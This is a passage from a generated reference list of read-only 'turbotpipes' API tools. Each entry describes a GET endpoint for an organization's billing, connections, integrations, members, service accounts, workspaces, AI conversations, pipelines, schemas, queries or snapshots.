/api/v1/turbotpipes/org/{org_handle}/billing/subscription. Scopes: api. turbotpipes_get_org_by_org_handle_billing_subscription_by_subscription_id (read) — Get org subscription via GET /org/{org_handle}/billing/subscription/{subscription_id} GET /api/v1/turbotpipes/org/{org_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_get_org_by_org_handle_connection (read) — List org connections via GET /org/{org_handle}/connection. List connections for an organization. GET /api/v1/turbotpipes/org/{org_handle}/connection. Scopes: api. turbotpipes_get_org_by_org_handle_connection_by_connection_handle (read) — Get org connection via GET /org/{org_handle}/connection/{connection_handle}. Get the details of a connection belonging to an org. GET /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_connection_by_connection_handle_permission (read) — List org connection permissions via GET /org/{org_handle}/connection/{connection_handle}/permission. List permissions for a connection defined on an org. GET /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}/permission. Scopes: api. turbotpipes_get_org_by_org_handle_connection_by_connection_handle_permission_by_permission_id (read) — Get org connection permission via GET /org/{org_handle}/connection/{connection_handle}/permission/{permission_id}. Get permission for a connection defined on an org. GET /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}/permission/{permission_id}. Scopes: api. turbotpipes_get_org_by_org_handle_connection_by_connection_handle_workspace (read) — List org connection workspaces via GET /org/{org_handle}/connection/{connection_handle}/workspace. List the workspaces that an org connection has been added to. GET /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}/workspace. Scopes: api. turbotpipes_get_org_by_org_handle_connection_folder (read) — List org connection folders via GET /org/{org_handle}/connection_folder. List connection folders for an org. GET /api/v1/turbotpipes/org/{org_handle}/connection_folder. Scopes: api. turbotpipes_get_org_by_org_handle_connection_folder_by_folder_id (read) — Get org connection folder via GET /org/{org_handle}/connection_folder/{folder_id}. Get connection folder for an org. GET /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_get_org_by_org_handle_connection_folder_by_folder_id_permission (read) — List org connection folder permissions via GET /org/{org_handle}/connection_folder/{folder_id}/permission. List permissions for a connection folder defined on an organization. GET /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}/permission. Scopes: api. turbotpipes_get_org_by_org_handle_connection_folder_by_folder_id_permission_by_permission_id (read) — Get org connection folder permission via GET /org/{org_handle}/connection_folder/{folder_id}/permission/{permission_id}. Get permission for a connection folder defined on an org. GET /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}/permission/{permission_id}. Scopes: api. turbotpipes_get_org_by_org_handle_connection_folder_by_folder_id_workspace (read) — List org connection folder workspaces via GET /org/{org_handle}/connection_folder/{folder_id}/workspace. List the workspaces that an org connection folder has been added to. GET /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}/workspace. Scopes: api. turbotpipes_get_org_by_org_handle_connection_tree (read) — List tenant connection tree via GET /org/{org_handle}/connection_tree. List connection tree for a tenant. GET /api/v1/turbotpipes/org/{org_handle}/connection_tree. Scopes: api. turbotpipes_get_org_by_org_handle_constraint (read) — List org constraints via GET /org/{org_handle}/constraint. List all applicable constraints for an org. GET /api/v1/turbotpipes/org/{org_handle}/constraint. Scopes: api. turbotpipes_get_org_by_org_handle_integration (read) — List org integrations via GET /org/{org_handle}/integration. List integrations configured for an organization. GET /api/v1/turbotpipes/org/{org_handle}/integration. Scopes: api. turbotpipes_get_org_by_org_handle_integration_by_integration_handle (read) — Get org integration via GET /org/{org_handle}/integration/{integration_handle}. Get details of an integration configured on an organization. GET /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_integration_by_integration_handle_github_install (read) — Install GitHub integration for an org via GET /org/{org_handle}/integration/{integration_handle}/github/install. Install a GitHub integration for an org identity. GET /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}/github/install. Scopes: api. turbotpipes_get_org_by_org_handle_integration_by_integration_handle_slack_channel (read) — List org integration Slack channels via GET /org/{org_handle}/integration/{integration_handle}/slack/channel. List Slack channels that are given access to a user Slack integration. GET /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}/slack/channel. Scopes: api. turbotpipes_get_org_by_org_handle_integration_by_integration_handle_slack_install (read) — Install Slack integration for an org via GET /org/{org_handle}/integration/{integration_handle}/slack/install. Install a Slack integration for an org identity. GET /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}/slack/install. Scopes: api. turbotpipes_get_org_by_org_handle_member (read) — List Organization Members via GET /org/{org_handle}/member. List all members of an organization who are invited / accepted. GET /api/v1/turbotpipes/org/{org_handle}/member. Scopes: api. turbotpipes_get_org_by_org_handle_member_by_user_handle (read) — Get org member. via GET /org/{org_handle}/member/{user_handle} GET /api/v1/turbotpipes/org/{org_handle}/member/{user_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_member_invite_confirm (read) — Confirm org member invite. via GET /org/{org_handle}/member/invite/confirm GET /api/v1/turbotpipes/org/{org_handle}/member/invite/confirm. Scopes: api. turbotpipes_get_org_by_org_handle_notifier (read) — List org notifiers via GET /org/{org_handle}/notifier. List all notifiers for an org GET /api/v1/turbotpipes/org/{org_handle}/notifier. Scopes: api. turbotpipes_get_org_by_org_handle_notifier_by_notifier_name (read) — Get org notifier via GET /org/{org_handle}/notifier/{notifier_name}. Get a notifier for an org GET /api/v1/turbotpipes/org/{org_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_get_org_by_org_handle_process (read) — List Org processes via GET /org/{org_handle}/process. List processes for an org. GET /api/v1/turbotpipes/org/{org_handle}/process. Scopes: api. turbotpipes_get_org_by_org_handle_process_by_process_id (read) — Get Org process via GET /org/{org_handle}/process/{process_id}. Get a process for an org. GET /api/v1/turbotpipes/org/{org_handle}/process/{process_id}. Scopes: api. turbotpipes_get_org_by_org_handle_process_by_process_id_log_by_log_file_by_content_type (read) — List Org process logs via GET /org/{org_handle}/process/{process_id}/log/{log_file}.{content_type}. List the process logs for a given process of an org. GET /api/v1/turbotpipes/org/{org_handle}/process/{process_id}/log/{log_file}.{content_type}. Scopes: api. turbotpipes_get_org_by_org_handle_service_account (read) — List organization service accounts via GET /org/{org_handle}/service_account. Lists service accounts at the organization level. GET /api/v1/turbotpipes/org/{org_handle}/service_account. Scopes: api. turbotpipes_get_org_by_org_handle_service_account_by_service_account_identifier (read) — Get organization service account via GET /org/{org_handle}/service_account/{service_account_identifier}. Retrieves a specific org-level service account. GET /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}. Scopes: api. turbotpipes_get_org_by_org_handle_service_account_by_service_account_identifier_audit_log (read) — List audit logs for an org service account via GET /org/{org_handle}/service_account/{service_account_identifier}/audit_log. Returns the audit logs where the service account is either the actor or the identity (org-level service account). GET /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}/audit_log. Scopes: api. turbotpipes_get_org_by_org_handle_service_account_by_service_account_identifier_token (read) — List organization service account tokens via GET /org/{org_handle}/service_account/{service_account_identifier}/token. Lists tokens for an organization-level service account. GET /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}/token. Scopes: api. turbotpipes_get_org_by_org_handle_service_account_by_service_account_identifier_token_by_token_id (read) — Get an organization service account token via GET /org/{org_handle}/service_account/{service_account_identifier}/token/{token_id}. Retrieves a specific token for an organization-level service account. GET /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}/token/{token_id}. Scopes: api. turbotpipes_get_org_by_org_handle_usage (read) — List org usage via GET /org/{org_handle}/usage. List all usage metrics for an org. GET /api/v1/turbotpipes/org/{org_handle}/usage. Scopes: api. turbotpipes_get_org_by_org_handle_workspace (read) — List org workspaces via GET /org/{org_handle}/workspace. List the workspace for an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle (read) — Get org workspace via GET /org/{org_handle}/workspace/{workspace_handle}. Get the details for a workspace in an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_aggregator (read) — List aggregators for an org workspace via GET /org/{org_handle}/workspace/{workspace_handle}/aggregator. List aggregators for a workspace of an org. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/aggregator. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle (read) — Get an aggregator for a org workspace via GET /org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Get the details of an aggregator belonging to a workspace of an org. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle_connection (read) — List connections in the scope of an aggregator for a org workspace via GET /org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection. List all connections that are a part of an aggregator defined in a workspace of an org. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle_connection_by_connection_handle (read) — Get a connection in the scope of an aggregator for a org workspace via GET /org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection/{connection_handle}. Get a connection that is a part of an aggregator defined in a workspace of an org. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_ai_conversation (read) — List org workspace conversations via GET /org/{org_handle}/workspace/{workspace_handle}/ai/conversation. Lists AI conversations in an org workspace with optional filtering and pagination. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/conversation. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id (read) — Get org workspace conversation via GET /org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Retrieves details for a specific org workspace conversation. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id_artifact_by_artifact_id (read) — Get org workspace conversation artifact metadata via GET /org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}. Retrieves metadata for a specific artifact created by an org workspace conversation. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id_artifact_by_artifact_id_by_content_type (read) — Download org workspace artifact via GET /org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}.{content_type}. Downloads an artifact file from an org workspace AI conversation. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/artifact/{artifact_id}.{content_type}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id_message (read) — List org workspace conversation messages via GET /org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/message. Lists messages for a specific org workspace conversation with pagination. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}/message. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_ai_model (read) — List org workspace AI models via GET /org/{org_handle}/workspace/{workspace_handle}/ai/model. Lists available AI models for an org workspace based on configured AI keys. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/model. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_audit_log (read) — Org workspace audit logs via GET /org/{org_handle}/workspace/{workspace_handle}/audit_log. Returns the audit logs for an org workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/audit_log. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_conn (read) — List org workspace connection associations via GET /org/{org_handle}/workspace/{workspace_handle}/conn. List the connections associated with a workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/conn. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_conn_by_conn_handle (read) — Get org workspace connection association via GET /org/{org_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Get the details for a workspace and connection association on an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_connection (read) — List org workspace connection associations via GET /org/{org_handle}/workspace/{workspace_handle}/connection. List the connections associated with a workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_connection_by_connection_handle (read) — Get org workspace connection association via GET /org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Get the details for a workspace and connection association on an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_connection_folder (read) — List org workspace connection folders via GET /org/{org_handle}/workspace/{workspace_handle}/connection_folder. List connection folders for an org workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection_folder. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_connection_folder_by_folder_id (read) — Get org workspace connection folder via GET /org/{org_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Get connection folder for a org workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_connection_tree (read) — List org workspace connection tree via GET /org/{org_handle}/workspace/{workspace_handle}/connection_tree. List connection tree for an org workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection_tree. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_datatank (read) — List org workspace Datatank via GET /org/{org_handle}/workspace/{workspace_handle}/datatank. List the org workspace Datatank. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle (read) — Get org workspace Datatank via GET /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Get the details for the workspace Datatank. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table (read) — List org workspace Datatank tables via GET /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. List the org workspace Datatank tables. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name (read) — Get org workspace Datatank table via GET /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Get the details for the workspace Datatank table GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_part (read) — List org workspace Datatank partitions via GET /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part. List the org workspace Datatank partitions GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_table_by_datatank_part_id (read) — Get org workspace Datatank table partition via GET /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/table/{datatank_part_id}. Get the details for the workspace Datatank table partition GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/table/{datatank_part_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_db_log (read) — Org workspace logs via GET /org/{org_handle}/workspace/{workspace_handle}/db_log. Returns the workspace logs for an org. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/db_log. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_form_by_step_execution_id_by_random_id (read) — Get org workspace flowpipe form via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}. Get details of a Flowpipe input step form for an org workspace GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_input (read) — List org workspace flowpipe inputs via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/input. List Flowpipe inputs for an org workspace GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/input. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_input_by_input_id (read) — Get org workspace flowpipe input via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/input/{input_id}. Get details of a Flowpipe input for an org workspace GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/input/{input_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias (read) — Get organization workspace installed flowpipe mod by mod alias via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias} GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable (read) — List variables in an organization flowpipe workspace mod via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable. List all variables applicable for a flowpipe mod in a workspace specific to an organization GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable_by_variable_name (read) — Get setting for a flowpipe mod variable in an organization workspace via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name} GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_pipeline (read) — List organization workspace pipelines via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline. Lists the pipelines for an organization workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_pipeline_by_pipeline_id (read) — Get org workspace pipeline via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}. Get the details of a pipeline for a workspace of an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_pipeline_by_pipeline_id_trigger (read) — Get org workspace pipeline triggers via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}/trigger. Get the list of triggers that a pipeline is associated with. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_id}/trigger. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name (read) — Get org workspace flowpipe trigger via GET /org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Get the details of a trigger for a workspace of an org. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_integration (read) — List org workspace integrations via GET /org/{org_handle}/workspace/{workspace_handle}/integration. List integrations available for an organization workspace. If run on a custom tenant this will return integrations configured both on tenant and org level. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/integration. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_integration_by_integration_handle (read) — Get org workspace integration via GET /org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}. Get details of an integration available for a workspace belonging to an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_integration_by_integration_handle_github_repository (read) — List org workspace integration github respositories via GET /org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository. List respositories that are given access to the integration available for an organization workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_integration_by_integration_handle_github_repository_by_repository_owner_by_repository_name_head (read) — List org workspace integration github respository heads via GET /org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository/{repository_owner}/{repository_name}/head. List heads for a respository of an integration available for an organization workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/github/repository/{repository_owner}/{repository_name}/head. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_integration_by_integration_handle_gitlab_project (read) — List org workspace integration gitlab projects via GET /org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project. List projects that are given access to the integration available for an organization workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_integration_by_integration_handle_gitlab_project_by_project_id_branch (read) — List org workspace integration gitlab project branches via GET /org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project/{project_id}/branch. List branches for a gitlab project of an integration available for an organization workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/integration/{integration_handle}/gitlab/project/{project_id}/branch. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_member (read) — List Organization Workspace Members via GET /org/{org_handle}/workspace/{workspace_handle}/member. List all members of a workspace in an organization who has accepted / invited. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/member. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_member_by_user_handle (read) — Get Org Workspace Member via GET /org/{org_handle}/workspace/{workspace_handle}/member/{user_handle}. Get details of a member belonging to a workspace of an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/member/{user_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_mod (read) — List organization workspace installed mods via GET /org/{org_handle}/workspace/{workspace_handle}/mod GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias (read) — Get organization workspace installed mod by mod alias via GET /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias} GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable (read) — List variables in an organization workspace mod via GET /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable. List all variables applicable for a mod in a workspace specific to an organization GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable_by_variable_name (read) — Get setting for a mod variable in an organization workspace via GET /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name} GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_notifier (read) — List org workspace notifiers via GET /org/{org_handle}/workspace/{workspace_handle}/notifier. List all notifiers for an org workspace GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/notifier. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_notifier_by_notifier_name (read) — Get org workspace notifier via GET /org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Get a notifier for an org workspace GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_pipeline (read) — List org workspace pipelines via GET /org/{org_handle}/workspace/{workspace_handle}/pipeline. Lists the pipelines for a workspace of an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/pipeline. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id (read) — Get org workspace pipeline via GET /org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Get the details of a pipeline for a workspace of an organization. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_process (read) — List org workspace processes via GET /org/{org_handle}/workspace/{workspace_handle}/process. List the processes associated with an org workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/process. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_process_by_process_id (read) — Get org workspace process via GET /org/{org_handle}/workspace/{workspace_handle}/process/{process_id}. Get the details for the process. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/process/{process_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_process_by_process_id_log_by_log_file_by_content_type (read) — List org workspace process logs via GET /org/{org_handle}/workspace/{workspace_handle}/process/{process_id}/log/{log_file}.{content_type}. List the process logs associated with a workspace process. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/process/{process_id}/log/{log_file}.{content_type}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_query (read) — Query org workspace via GET /org/{org_handle}/workspace/{workspace_handle}/query. Performs a query in an org workspace. Results are limited to 5000 rows or 30 seconds of query execution. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/query. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_query_data_by_extensions (read) — Query org workspace with extensions via GET /org/{org_handle}/workspace/{workspace_handle}/query/data.{extensions}. Performs a query in an org workspace, with content type and content encoding forming part of the API path. Results are limited to 5000 rows or 30 seconds of query execution. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/query/data.{extensions}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_schema (read) — List org workspace schemas via GET /org/{org_handle}/workspace/{workspace_handle}/schema. List the schemas for the org workspace. This will consist of the aggregators, datatanks and identity-level connections associated with the workspace. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/schema. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_schema_by_schema_name (read) — Get org workspace schema via GET /org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}. Get the details for an org workspace schema. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_schema_by_schema_name_table (read) — List org workspace schema tables via GET /org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}/table. List the tables for an org workspace schema. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}/table. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_schema_by_schema_name_table_by_table_name (read) — Get org workspace schema table via GET /org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}/table/{table_name}. Get details about a specific table in a org workspace schema. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}/table/{table_name}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_snapshot (read) — List org workspace snapshots via GET /org/{org_handle}/workspace/{workspace_handle}/snapshot. List the workspace snapshots for an org. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/snapshot. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id (read) — Get org workspace snapshot via GET /org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Get the details for an org workspace snapshot. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Scopes: api. turbotpipes_get_org_by_org_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id_by_content_type (read) — Download org workspace snapshot via GET /org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}.{content_type}. Downloads the full data for an org workspace snapshot. GET /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}.{content_type}. Scopes: api. 